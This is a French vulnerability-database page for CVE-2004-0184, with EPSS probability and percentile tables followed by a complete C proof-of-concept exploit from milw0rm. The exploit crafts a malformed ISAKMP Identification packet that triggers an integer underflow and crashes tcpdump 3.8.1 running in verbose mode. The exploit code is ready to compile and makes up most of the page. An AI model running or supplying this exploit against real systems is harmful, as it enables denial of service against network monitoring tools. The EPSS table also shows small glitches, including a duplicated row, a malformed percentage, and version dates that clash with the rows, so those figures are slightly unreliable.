CVE-2004-0184 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	95.19%	–
2023-03-19	–	–	–	94.83%	–
2023-10-15	–	–	–	94.71%	–
2024-02-18	–	–	–	68.37%	–
2024-06-02	–	–	–	68.37%	–
2024-09-15	–	–	–	65.01%	–
2024-12-22	–	–	–	80.96%	–
2025-01-19	–	–	–	80.96%	–
2025-03-18	–	–	–	–	60.41%
2025-03-30	–	–	–	–	65.92%
2025-03-30	–	–	–	–	65.92,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	99%
2023-03-19	99%
2023-10-15	99%
2024-02-18	98%
2024-06-02	98%
2024-09-15	98%
2024-12-22	99%
2025-01-19	99%
2025-03-18	98%
2025-03-30	98%
2025-03-30	98%

/* * tcpdump packet sniffer * Integer underflow in ISAKMP Identification payload * denial of service vulnerability * proof of concept code * version 1.0 (Apr 02 2004) * CVE-ID: CAN-2004-0184 * * by Remi Denis-Courmont < exploit at simphalampin dot com > * www simphalempin com dev * Remi Denis-Courmont is not responsible for the misuse of the * source code provided hereafter. * * This vulnerability was found by: * Rapid7, LLC Security Advisory - www rapid7 com * whose original advisory may be fetched from: * www rapid7 com advisories R7-0017 html * * Vulnerable: * - tcpdump 3.8.1 * * Not vulnerable: * - tcpdump 3.8.3 * * NOTES: * The vulnerability cannot be exploited to cause a denial of service * with the Debian's tcpdump packages as it was partly fixed as part of * the fix for earlier known CAN-2003-0108 vulnerability, though the bug * is still present. That may be the case for other vendors which were * not investigated. * * tcpdump must be run with a verbosity level of at least 3: * # tcpdump -vvv * Otherwise, no denial of service will occur. */ #include <string.h> #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <sys/socket.h> #include <netdb.h> static const char packet[] = /* ISAKMP header */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* Initiator cookie */ "\x00\x00\x00\x00\x00\x00\x00\x00" /* Responder cookie */ "\x05" /* Next payload: Identification */ "\x10" /* Version: 1.0 */ "\x01" /* Exchange type */ "\x00" /* Flags */ "\x00\x00\x00\x00" /* Message ID */ "\x00\x00\x00\x24" /* Length */ /* ISAKMP Identification payload */ "\x00" /* Next payload: none */ "\x00" /* Reserved */ "\x00\x05" /* Payload length (incorrect) */ "\x20" /* ID type (unknown) */ "\x00\x00\x00" /* DOI */ ; static int send_evil_packet (const struct addrinfo *r) { int fd; size_t len; fd = socket (r->ai_family, r->ai_socktype, r->ai_protocol); if (fd == -1) { perror ("Socket error"); return 1; } len = sizeof (packet) - 1; if (sendto (fd, packet, len, 0, r->ai_addr, r->ai_addrlen) != len) { perror ("Packet sending error"); close (fd); return 1; } puts ("Packet sent!"); close (fd); return 0; } static int proof (const char *hostname) { struct addrinfo *res; int check; { struct addrinfo help; memset (&help, 0, sizeof (help)); help.ai_socktype = SOCK_DGRAM; check = getaddrinfo (hostname, "isakmp", &help, &res); } if (check == 0) { struct addrinfo *ptr; for (ptr = res; ptr != NULL; ptr = ptr->ai_next) check |= send_evil_packet (ptr); freeaddrinfo (res); return check; } fprintf (stderr, "%s: %s\n", hostname, gai_strerror (check)); return -1; } static void usage (const char *path) { fprintf (stderr, "Usage: %s <hostname/IP>\n", path); } int main (int argc, char *argv[]) { puts ("tcpdump Integer underflow in ISAKMP Identification payload\n" "proof of concept code\n" "Copyright (C) Remi Denis-Courmont 2004 " "<\x65\x78\x70\x6c\x6f\x69\x74\x40\x73\x69\x6d\x70" "\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n"); if (argc != 2) { usage (argv[0]); return 2; } return proof (argv[1]) ? 1 : 0; } // milw0rm.com [2004-04-05]